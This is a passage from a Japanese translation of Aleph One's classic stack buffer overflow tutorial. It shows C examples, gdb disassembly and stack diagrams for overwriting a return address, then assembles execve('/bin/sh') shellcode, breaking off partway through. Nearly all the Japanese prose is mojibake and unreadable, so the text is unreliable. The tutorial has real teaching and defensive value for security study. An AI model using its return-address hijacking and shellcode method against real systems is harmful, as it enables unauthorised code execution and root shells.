���J�� 2000/12/20 Last Updated 2001/4/10
�I���W�i���L������
�����B���̕��͂Ɋւ��ĉ���������������܂�����A��
���܂ł��A�����肢�������܂��B�i���������育�w�E�������������N
��Ɠ��e���C
�����܂����B�L���������܂����B
2001/4/10�j
���̖|�͒��҂��f�ڋ��Č��J���Ă���܂��B
(Copyright
reserved by Aleph One. Special thanks to Aleph One.)
BugTraq,r00t,Underground.Org��
�X�^�b�N�j��̊y���݂Ɖ��b
Aleph One
�u�X�^�b�N�j��v�iC�̃v���O���~���O�p��j�����BC�̎����̑����ɂ����āA���[�`������auto�ϐ��Ƃ��Ē�`����Ă���z��̂��� �܂��̕������z���ăX�^�b�N�ɏ������݂��s�����Ƃ́A�j��I�ɂȂ��Ă��܂��\��������B���������R�[�f�B���O���u�X�^�b�N�j��v�ƌ����A���[�`������ return����ۂɃ����_���ȃA�h���X�ɃW�����v�����Ă��܂������ɐ��蓾��B����͐��݃o�O�Ƃ��Ēm������̂̌����ƂȂ肦��B�ϐ��̓X�^�b�N���� �āA�����U�炵�A���������ɂ��Ă��܂��G�X�^�b�N��j��A�ƌ���Ȃ��̂́A���̍s�ׂ����ӓI�ł͂Ȃ�����ł���BSpam���Q�ƁG�܂��G�C���A�X�̃o �O�Acore�ɑ�����s�A���������[�N�A�D�揇�ʌ듮��A�I�[�o�[�����˂�����Q�ƁB
����
�����������ȏ�ɂ킽���āA�������ꂽ��A�s���s�ׂɎg��ꂽ�肵���o�b�t�@�[�I�[�o�[�t���[�Z�L�����e�B�z�[���̐��������I�ɑ����Ă����B����� ����ƁAsyslog�Asplitvt�Asendmail 8.7.5�ALinux/FreeBSD��mount�AXt�̃��C�u�����Aat�A�ȂǂȂǂł���B���̋L���ł̓o�b�t�@�[�I�[�o�[�t���[�Ƃ͂ǂ�Ȃ��� �ŁA�ǂ�����ĕs���A�N�Z�X���N���s�ׂ��̂��A��������Ă݂����B
�܂��̓A�Z���u���̊�{�I�Ȓm�����K�v�ł���B���z�������̊T�O�𗝉����Ă����K�v�����邪�A����ɂ�gdb���g���Ă݂邱�Ƃ��K�������s���ł� �Ȃ����ƂĂ����ɗ��ł��낤�B�܂��AIntel X86 CPU�ŁAOS��Linux�Ƃ�������O��Ƃ���B
��������{�I�ȗp���`�����Ă������F�o�b�t�@�[�Ƃ͒P�ɃR���s���[�^�������̗אڂ���u���b�N�̂��Ƃ��w���A�����ɂ͓����f�[�^�^�C�v�̔z��� ���Q���{�����ێ������BC�̃v���O���~���O�ł͕��ʁA���[�h�P�ʃo�b�t�@�[�z�������������B������g����̂́A�L�����N�^�[�^�z��ł���BC�ɂ� ���邷�ׂĂ̕ϐ��̂悤�ɁA�z��Ƃ����̂͐ÓI�Ȃ��̂����I�Ȃ��̂̂ǂ��炩�Ő錾�����B�ÓI�ϐ��̓v���O�������������Ƀ��[�h���鎞�_�Ńf�[�^�Z�O�� ���g�ɃA���P�C�g�����B���I�ϐ��̓v���O�������s���ɃX�^�b�N�ɃA���P�C�g�����B�I�[�o�[�t���[������A�Ƃ������Ƃ́A���̃g�b�v�A�ӂ��A�܂��͋��E ���āA�i�f�[�^�Ȃǂ��j�������ށA���邢�͖��߂Ă��܂��Ƃ������Ƃł���B�����ł͕ʖ��X�^�b�N�x�[�X�̃o�b�t�@�[�I�[�o�[�t���[�Ƃ��Ēm���铮�I �ȃo�b�t�@�[�̃I�[�o�[�t���[�ɂ̂��y�������B
�v���Z�X�������̍\��
�X�^�b�N�o�b�t�@�[�Ƃ͉����A�𗝉����邽�߂ɂ́A�܂��̓v���Z�X�Ƃ������̂��������̒��łǂ�ȍ\���ɂȂ��Ă��邩�𗝉����Ȃ���Ȃ�Ȃ��B�v ���Z�X�͂R�̗̈�ɕ�������FText��Data�ƃX�^�b�N�G���A���B�����ł̓X�^�b�N�G���A�ɋc�_���W�����������Ǝv�����A�܂����̗̈�ɂ��Ă� ����ǂ��ď����T�ς��Ă������B
�e�L�X�g�̈�̓v���O������C���N���[�h�̃R�[�h�i���߁j�ɂ���ČŒ肳���A���[�h�I�����[�̃f�[�^�ł���B���̗̈�͎��s�t�@�C���̃e�L�X�g�Z �N�V�����ɑ�������B���̕����͕��ʃ��[�h�I�����[�Ƃ��Ĉ����A���̗̈�ɑ��鏑�����݂����݂�ƁA�Z�O�����e�[�V�������@�C�I���[�V�����������N�� ���B
�f�[�^�̈�͏��������ꂽ�f�[�^�⏉��������Ă��Ȃ��f�[�^���܂ޗ̈�ł���B�ÓI�ϐ��͂��̕����ɃX�g�A�����B�f�[�^�̈�͎��s�t�@�C���̃f�[ �^bss�Z�N�V�����ɑ�������B���̃T�C�Y��brk(2)�V�X�e���R�[�����g���ΕύX�ł���Bbss�f�[�^��[�U�[�̃X�^�b�N�������ꂽ������������ �Ďg���Ċg�������ꍇ�́A���̃v���Z�X�̓u���b�N����A����ɑ傫����������Ԃ��g���čċN������悤�ݒ肳���B�V���ȃ������̓f�[�^�ƃX�^�b�N�Z�O�� ���g�̊Ԃɒlj������B
/------------------\ lower
| | memory
| Text | addresses
| |
|------------------|
| (Initialized) |
| Data |
| (Uninitialized) |
|------------------|
| |
| Stack | higher
| | memory
\------------------/ addresses
Fig. 1 Process Memory Regions
�X�^�b�N�Ƃ͉����H
�X�^�b�N�Ƃ̓R���s���[�^�Ȋw�̕���ł悭�g���钊�ۓI�ȃf�[�^�^�C�v�ł���B�I�u�W�F�N�g�̃X�^�b�N�́A�X�^�b�N�ɍŌ�ɓ����ꂽ�I�u�W�F�N
�g���ŏ��ɍ폜�����A�Ƃ������������B
���̓����́A�ӂ�last in,first out queue�A���邢��LIFO�Ƃ��Ēm���Ă���B
�X�^�b�N�ł͂������̃I�y���[�V��������߂��Ă���B���̍ł��d�v�Ȃ����̂Q�ɁAPUSH��POP������BPUSH�̓G�������g���X�^�b�N�� �g�b�v�ɒlj�����B�ΏƓI��POP�́A�X�^�b�N�̃g�b�v����ŐV�̃G�������g���폜���A�X�^�b�N�T�C�Y�����炷�B
�Ȃ������̓X�^�b�N���g���̂��H
����̃R���s���[�^�͍���������̕K�v���ɉ����Đv����Ă���B����������ɂ���Ă����炳�ꂽ�\�����v���O���~���O�ɂ����čł��d�v�Ƃ�����Z �p�́A�v���V�[�W�����邢�͊��ł���B����Ӗ��A�v���V�[�W���R�[���͂��傤��jump�̂悤�ɏ����̗�����邪�Ajump�ƈقȂ�A�������I ���������_�ŁA���͂��̃R�[���Ɉ��������X�e�[�g�����g���邢�͖��߂ɐ����߂��B���̍������Ȓ��ۊT�O�̓X�^�b�N�̏����Ď��s�����B
�X�^�b�N�͂܂��A�����Ŏg���郍�[�J���ϐ��I�ɃA���P�C�g������A���փp�����[�^��n������A������l��߂����߂ɂ��g����B
�X�^�b�N�̈�
�X�^�b�N�Ƃ̓f�[�^���܂�Ń��������ɔz�u�����אڂ���u���b�N�ł���B�X�^�b�N�|�C���^�[�iSP�j�ƌĂ�郌�W�X�^�[�́A�X�^�b�N�̃g�b�v�� �w���Ă���B�X�^�b�N�̒�i�x�[�X�A�h���X�j�͌Œ肵���A�h���X�ł���B�T�C�Y�̓J�[�l���ɂ���Ď��s���ɓ��I�ɒ��߂����BCPU�̓X�^�b�N�� PUSH�APOP���閽�߃Z�b�g�����B
�X�^�b�N�Ƃ͊��Ăяo���̂Ƃ���PUSH����A�߂�Ƃ���POP�����_���I�X�^�b�N�t���[���ō\������Ă���B�X�^�b�N�t���[���ɂ͊��֓n�� ���p�����[�^��A�����Ŏg���郍�[�J���ϐ���A���O�̃X�^�b�N�t���[�������J�o�[���邽�߂ɕK�v�ȃf�[�^�i���Ăяo�����̖��߂ւ̃|�C���^�[�̒l ���܂܂��j���i�[�����B
�ǂ���ɂȂ邩�͎������悾���A�X�^�b�N�͌��Z���i�������A�h���X���f�N�������g����j�A���邢�͉��Z���̂ǂ��炩�̕����ɂȂ�B�{�L���̗�ł͌� �Z���X�^�b�N��p����B���̕����́AIntel��Motorola�ASPARC��MIPS�v���Z�b�T�[�ȂǁA�����̃R���s���[�^�Ŏg���Ă���B�X�^�b�N �|�C���^�[�iSP�j�������Ɉ˂�B����̓X�^�b�N�A�h���X�̍Ō���w�����A���邢�͂��̃X�^�b�N�̎��̃t���[�ȗ̈�̃A�h���X���w���B�����ŋc�_����ۂ� �́A�X�^�b�N�|�C���^�[�̓X�^�b�N�̍Ō�̃A�h���X���w���Ƃ������Ƃ�O��Ƃ���B
�X�^�b�N�̃g�b�v�i�����Ƃ��Ⴂ���l�̐����̃A�h���X�j���w���X�^�b�N�|�C���^�[�ɂ��ĕt��������Ȃ�A����t���[�����̌Œ�ʒu���w���t���[ ���|�C���^�[�iFP�j���������Ă���ƕ֗��ł��邱�Ƃ������B�����I�ɁA���[�J���ϐ���SP����̃I�t�Z�b�g�ʒu�ŎQ�Ƃ����B�������A���[�h�P�ʃf�[�^ ���X�^�b�N�Ƀv�b�V�����ꂽ��X�^�b�N����|�b�v���ꂽ�肷��ƁA�����̃I�t�Z�b�g�l�͕ύX�����B�X�^�b�N�̃��[�h�����g���[�X�ł��邨�����ŃI�t �Z�b�g�l���C���ł���P�[�X�����邪�A�����łȂ��P�[�X������A������̏ꍇ�ɂ��Ă������ʓ|�ȊǗ����K�v�ƂȂ�B���̏�Intel�x�[�X�v���Z�b�T�[�� �悤�ȃ}�V���ł́ASP����̊��m�̃I�t�Z�b�g�ʒu�ɂ���ϐ��ɃA�N�Z�X����ꍇ�ɂ͕����̖��߂��K�v�ƂȂ��Ă��܂��B
���̌��ʁA�����̃R���s���[�^�ł̓��[�J���ϐ��ƃp�����[�^�̗������Q�Ƃ���Ƃ��ɓ�Ԗڂ̃��W�X�^�[FP���g���Ă��邪�A�����FP����̃I�t �Z�b�g�ʒu��PUSH��POP�ɂ���ĕύX����Ȃ�����ł���BIntel��CPU�ł́ABP�iEBP�j�����̗p�r�Ɏg����BMotorola��CPU �ł́AA7�i�X�^�b�N�|�C���^�[�j�ȊO�̃A�h���X���W�X�^�[��������s���B���̋L���ł͌��Z���|�C���^�[��p����̂ŁA�p�����[�^�ɂ͏�����I�t�Z�b�g�� �g���A���[�J���ϐ��ɂ�FP����̌Œ�l�I�t�Z�b�g��p����B
�v���V�[�W�����R�[�����ꂽ��A�܂��ŏ��ɒ��O��FP���i�v���V�[�W����exit����ۂɃ��X�g�A�ł���悤�Ɂj�ۑ�����B���̂��ƐV����FP���� �����邽�߂�SP��FP�ɃR�s�[���A���[�J���ϐ��p�ɗ̈���m�ۂ��邽�߂�SP��i�߂�B���̃R�[�h�̓v���V�[�W���̑O�����Ƃ��ăR�[�������B�v���V�[ �W����exit����Ƃ��A�X�^�b�N�͍ĂуN���A����A�v���V�[�W���̌㏈���i�Ƃ��Ẳ����j���R�[�������BIntel��ENTER��LEAVE���߂ƁA Motorola��LINK��UNLINK���߂́A�v���V�[�W���̑O�����ƌ㏈���̑啔�������ʓI�ɂ����Ȃ����̂ł���B
�X�^�b�N�Ƃ͂ǂ�Ȃ��̂��A�ȒP�ȗ�Ō��Ă݂悤�F
example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
function()�̃R�[�����Ƀv���O�����������s�����������邽�߂ɁA���̃\�[�X��gcc�̃I�v�V����-S�i��ʓI�ȃA�Z���u���R�[�h���o�͂� ��j�ŃR���p�C�����Ă݂悤�F
$ gcc -S -o example1.s example1.c
�A�Z���u������̏o�͂�����ƁAfunction()���Ăяo�������������������ɂȂ��Ă���F
pushl $3
pushl $2
pushl $1
call function
�X�^�b�N��������Ɍ����ĂR�̈������v�b�V�����Afunction()���R�[�����Ă���Bcall�Ƃ������߂̓X�^�b�N�ɖ��߃|�C���^�iIP�j�� �v�b�V������B�ۑ����ꂽIP�����^�[���A�h���X�iRET�j�ƌĂڂ��B���̒��ł͂܂��ŏ��ɑO�������s����F
pushl %ebp
movl %esp,%ebp
subl $20,%esp
�܂�EBP�i�t���[���|�C���^�j���X�^�b�N�Ƀv�b�V�����Ă���B���̌㌻�݂�SP��EBP�ɃR�s�[���A�����V����FP�|�C���^�ɂ��Ă���B�ۑ��� �ꂽFP�|�C���^��SFP�ƌĂڂ��B�����ă��[�J���ϐ��ɗ̈���A���P�C�g���邽�߂�SP���炻�̃T�C�Y�����Z���Ă���B
�����ʼn����Ă����Ȃ���Ȃ�Ȃ��̂́A�������Ƃ����̂̓��[�h�T�C�Y�̔{���Ƃ��Ă̂݊��蓖�Ă��邱�Ƃ��ł���A�Ƃ������Ƃ��B�����ł͂P���[ �h�͂S�o�C�g�A���邢�͂R�Q�r�b�g�ł���B�]���ĂT�o�C�g�̃o�b�t�@�[�Ƃ͎����W�o�C�g�i�Q���[�h�j�̃�����������A�P�O�o�C�g�̃o�b�t�@�[�Ƃ͎��� �P�Q�o�C�g�i�R���[�h�j�̃�����������邱�ƂɂȂ�B���ꂪSP����20���Z���Ă��闝�R�ł���B�����S�ɗ��߂�function()���R�[�����ꂽ ���̃X�^�b�N�����Ă݂悤�i�X�y�[�X�P�͂P�o�C�g��\���j�F
bottom of top of
memory memory
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
top of bottom of
stack stack
�o�b�t�@�[�I�[�o�[�t���[
�o�b�t�@�[�I�[�o�[�t���[�Ƃ̓o�b�t�@�[�̒��ɐ���ł���ʂ��������f�[�^����ꍞ���ʋN������̂ł���B���̎��ɗǂ����������v���O���~ ���O�G���[���ǂ�Ȃ��̂��m��A�C�ӃR�[�h�����s�����ł̃A�h���@���e�[�W�ɂȂ�̂ł͂Ȃ����낤���H������̗�����Ă݂悤�F
example2.c
------------------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
------------------------------------------------------------------------------
���̃v���O�����ɂ͓T�^�I�ȃo�b�t�@�[�I�[�o�[�t���[�R�[�f�B���O�G���[�̊��̗Ⴊ����B���͋��E�`�F�b�N���s�킸�ɗ^�����镶����� strncpy()���g�킸strcpy()�ŃR�s�[���Ă���B���̃v���O���������ƃZ�O�����e�[�V�������@�C�I���[�V�����ɂȂ邾�낤�B�����R�[ ������Ƃ��̃X�^�b�N�̏�Ԃ����Ă݂悤�F
bottom of top of
memory memory
buffer sfp ret *str
<------ [ ][ ][ ][ ]
top of bottom of
stack stack
�����ł͉����N�����Ă���̂��H�Ȃ��Z�O�����e�[�V�������@�C�I���[�V�����ɂȂ�̂��H�ȒP�Ȃ��Ƃ��Bstrcpy()�́A�k���L�����N�^�[���o�� ����܂�*str(large_string[])��buffer[]�ɃR�s�[���Ă���B����ƕ�����ʂ�Abuffer[]��*str��肩�Ȃ菬�� ���Bbuffer[]�͂P�U�o�C�g���Ȃ̂ɑ��A���̗̈�ɂQ�T�U�o�C�g����ꍞ�����Ƃ��Ă���̂��B����̓X�^�b�N����buffer����Q�T�O�o�C �g�S�Ă��I�[�o�[�������Ă��邱�Ƃ��Ӗ�����B�����ɂ�SFP��RET�A�����*str���������܂܂�Ă���̂��Ilarge_string�ϐ��� �uA�v�Ŗ��߂Ă��邪�A���̃w�L�T�l��0x41�ł���B�Ƃ������Ƃ̓��^�[���A�h���X�͌���0x41414141�Ƃ������ƂɂȂ�B����͂��̃v���Z�X�� �A�h���X��Ԃ̊O���ł���B�]���Ċ����烊�^�[������Ƃ��ɓ����A�h���X���玟�̖��߂�read���悤�Ƃ�����A�Z�O�����e�[�V�������@�C�I���[�V���� �ɂȂ��Ă��܂��Ƃ����킯���B
�Ƃ������ƂŁA�o�b�t�@�[�I�[�o�[�t���[�͊��̃��^�[���A�h���X��ύX���邱�Ƃ��\�ɂ���i�j�킯�ł���B���̕��@���g���A�v���O�����̏� ���̗����ς��邱�Ƃ��ł���B�ŏ��̗�ɖ߂��ăX�^�b�N���������Ă݂悤�F
bottom of top of
memory memory
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
top of bottom of
stack stack
�ŏ��̗���C�����A���^�[���A�h���X��ύX���Ăǂ�����ĔC�ӃR�[�h�����s����悤�ɂ��Ă��܂����������ł���悤�ɂ��Ă݂悤�B�X�^�b�N�̒��� buffer1[]�̒��O��SFP������̂ŁA���̑O�Ƀ��^�[���A�h���X���i�[����Ă���B���^�[���A�h���X��buffer1[]�̖�������S�o�C�g�̈� �u�ɂ���B�������Ȃ���Abuffer1[]�͂Q���[�h�̗̈�A�܂�W�o�C�g���ł���B�]���āA���^�[���A�h���X��buffer1[]�̎n�߂���P�Q�o �C�g�̈ʒu�Ɋi�[����Ă��邱�ƂɂȂ�B�����R�[�����ꂽ�����x=1;�Ƃ������ߕ����щz���悤�ɁA���^�[���l���C�����Ă݂悤�B��������ɂ́A�� �^�[���A�h���X���o�C�g���₹�悢�B�R�[�h�͂��̂悤�ɂȂ�F
example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
------------------------------------------------------------------------------
��������Ƃ�buffer1[]�̃A�h���X�ɂP�Q�������������ł���B���̐V�����A�h���X�����^�[���A�h���X���X�g�A����Ă���ꏊ�Ƃ��Ă���B printf�R�[���܂ŃX�L�b�v�������킯�����A�ǂ�����ă��^�[���A�h���X�ɂW��������Ηǂ����Ƃ�m�����̂��낤���H����ɂ͂܂��ŏ��Ƀe�X�g�l�� �g���āi��P�j�v���O�������R���p�C�����āAgdb���N������Ηǂ��F
------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>: pushl %ebp
0x8000491 <main+1>: movl %esp,%ebp
0x8000493 <main+3>: subl $0x4,%esp
0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 <main+48>: addl $0x8,%esp
0x80004c3 <main+51>: movl %ebp,%esp
0x80004c5 <main+53>: popl %ebp
0x80004c6 <main+54>: ret
0x80004c7 <main+55>: nop
------------------------------------------------------------------------------
function()���R�[�������Ƃ���RET��0x8004a8���Ƃ������Ƃ��킩��̂ŁA0x8004ab�ȍ~�̕������������Ƃ������� �ɂȂ�B���Ɏ��s���������߂�0x8004b2�ɂ���B���Ƃ͂�����Ƃ����v�Z�łW�o�C�g���o����B
�V�F���E�R�[�h
���^�[���A�h���X�Ǝ��s�̗�����C���ł���Ƃ������Ƃ��킩�������A���s���������v���O�����͉����낤�H�����̏ꍇ�P�ɃV�F�������s���������̂��B �V�F������Ȃ�Ζ]�ݒʂ�̃R�}���h�s�ł��邩�炾�B����ǂ��A���������R�[�h���v���O�����ɖ����̂ɁA���ɑ��ĕs���A�N�Z�X����Ƃ����̂��H�ǂ� ����ĔC�ӂ̖��߂��A�h���X��ԂɈʒu�Â��邱�Ƃ��ł���̂��낤�H���̓����͂������B���s���悤�Ƃ��Ă���R�[�h���I�[�o�[�t���[�����o�b�t�@�Ɋi�[�� �āA�o�b�t�@�[�̓������w�������悤�Ƀ��^�[���A�h���X���㏑������B�X�^�b�N���A�h���X0xFF����n�܂��Ă���Ƃ��āAS�����s�������R�[�h��\���� ����Ƃ���ƁA�X�^�b�N�͂��̂悤�ɂȂ�F
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
top of bottom of
stack stack
�V�F�����i�q�v���Z�X�Ƃ��āj���s����C�v���O�����͂��̂悤�ɂȂ�F
-----------------------------------------------------------------------------
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
�A�Z���u���łǂ̂悤�ɂȂ邩���邽�߂ɃR���p�C�����Agdb���N�����Ă݂�B-static�t���O��t����̂�Y��Ȃ��悤�ɁB�����Ȃ��Ƃ��� �R�[�h�ɂ�execve�V�X�e���R�[�����C���N���[�h����Ȃ����낤�B�C���N���[�h��������ɁA�����̓��IC���C�u�����̎Q�Ƃ�����ƁA���[�h���� �����N�����̂��B
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc %lt;__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
�����N���Ă��邩�������Ă݂悤�B�܂�main���������Ă݂悤�F
------------------------------------------------------------------------------
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
char*name[2];
0x8000136<main+6>:movl$0x80027b8,0xfffffff8(%ebp)
name[0]="/bin/sh";
0x800013d<main+13>:movl$0x0,0xfffffffc(%ebp)
name[1]=NULL;
0x8000144<main+20>:pushl$0x0
0x8000146<main+22>:leal0xfffffff8(%ebp),%eax
0x8000149<main+25>:pushl%eax
0x800014a<main+26>:movl0xfffffff8(%ebp),%eax
0x800014d<main+29>:pushl%eax
0x800014e<main+30>:call0x80002bc<__execve>
------------------------------------------------------------------------------
������execve()�ł���BIntel�x�[�X��Linux���g���Ă��邱�Ƃ������Ă����悤�ɁB�V�X�e���R�[���̏ڍd�l�́AOS�ɂ���Ĉ� �Ȃ��Ă��邵�ACPU�ɂ���Ă��قȂ�B������͈̂������X�^�b�N�ɓn���A���̑��ł̓��W�X�^�[�ɓn���B������̂ł̓J�[�l�����[�h�ɃW�����v���邽�߂� �\�t�g�E�G�A���荞�݂��g���A���̑��ł̓t�@�[�Ăяo�����g���BLinux�̓V�X�e���R�[���Ɉ�����n���Ƃ��Ƀ��W�X�^�[���g���A�J�[�l�����[�h�ɃW���� �v����Ƃ��̓\�t�g�E�G�A���荞�݂��g���Ă���B
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0<__execve+4>:movl$0xb,%eax
0x80002c5<__execve+9>:movl0x8(%ebp),%ebx
0x80002c8<__execve+12>:movl0xc(%ebp),%ecx
0x80002cb<__execve+15>:movl0x10(%ebp),%edx
0x80002ce<__execve+18>:int$0x80
------------------------------------------------------------------------------
���Ă̒ʂ�execve()�V�X�e���R�[���ɑ����邱�Ƃ͂��܂�Ȃ��B�K�v������̂͂��ꂾ�����F
�������A���������̗��R��execve()�R�[�������s�����ꍇ�́H�v���O�����̓X�^�b�N����̖��߃t�F�b�`�𑱂��邾�낤�B���̃X�^�b�N�ɂ̓��� �_���ȃf�[�^�������Ă���\��������̂ɁI�قƂ�ǂ̏ꍇ�v���O������core dump����Bexecve�V�X�e���R�[�������s���Ă��v���O�����ɂ̓N���[����exit���ė~�����B���̂��߂ɂ�execve�V�X�e���R�[���̌�� exit�V�X�e���R�[����lj����Ȃ���Ȃ�Ȃ��Bexit�V�X�e���R�[���͂ǂ�Ȃ��̂��H
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>
void main() {
exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------
exit�V�X�e���R�[����EAX��0x1�Ɉʒu���āAexit�R�[�h��EBX�̒��ɂ���Aint 0x80�����s����B���ꂾ�����B�قƂ�Ƃ̃A�v���P�[�V�����̓G���[������\��0��exit���Ƀ��^�[������B�Ƃ����킯��EBX��0������B�i��� �͂���ȕ����F
������A�Z���u������ŏ����o���āA���̃R�[�h�̌��ɕ������u���A������̃A�h���X��ݒ肵�A�z��̂��ƂɃk�����[�h��u�����Ƃ�Y��Ȃ��悤 �ɁF
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
���́A�n�b�L���O���悤�Ƃ��Ă�v���O�����̃�������Ԃ̂ǂ��ɁA���̃R�[�h�i�����Ă��̌�ɑ���������j���z�u�����̂��킩��Ȃ����Ƃ��B�� ���T��P�̕��@�Ƃ��āAJMP��CALL���߂��g���Ƃ����̂�����BJMP��CALL���߂�IP���A�h���b�V���O��p���Ă���̂ŁA���݂�IP���� �̃I�t�Z�b�g�ɃW�����v����Ƃ��ɁA�������̒��̐��m�ȃW�����v��A�h���X��m��K�v���Ȃ��BCALL���߂��u/bin/sh�v������̑O�̓K���Ȉʒu�� �u���A������JMP������悤�ɂ���ACALL���߂̎��s���ɕ�����̃A�h���X�����^�[���A�h���X�Ƃ��ăX�^�b�N�Ɋi�[�����B���̂��Ƃ̓��W�X�^�[�� ���Ƀ��^�[���A�h���X���R�s�[���邾���ł���BCALL���߂͒P�Ɏ��s�������R�[�h�̏�̃A�h���X���R�[�����邾�����B���̐}��J��JMP���߂�\���AC ��CALL���߂�\���As�͕������\���A�����̗���͂��̂悤�ɂȂ�F
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
top of bottom of
stack stack
��������ăC���f�b�N�X�������A�h���b�V���O���g���ďC���������ʁA���s�������R�[�h�̊e���߂����ꂼ�ꉽ�o�C�g�K�v�Ȃ̂��������o���Ă݂悤�F
------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
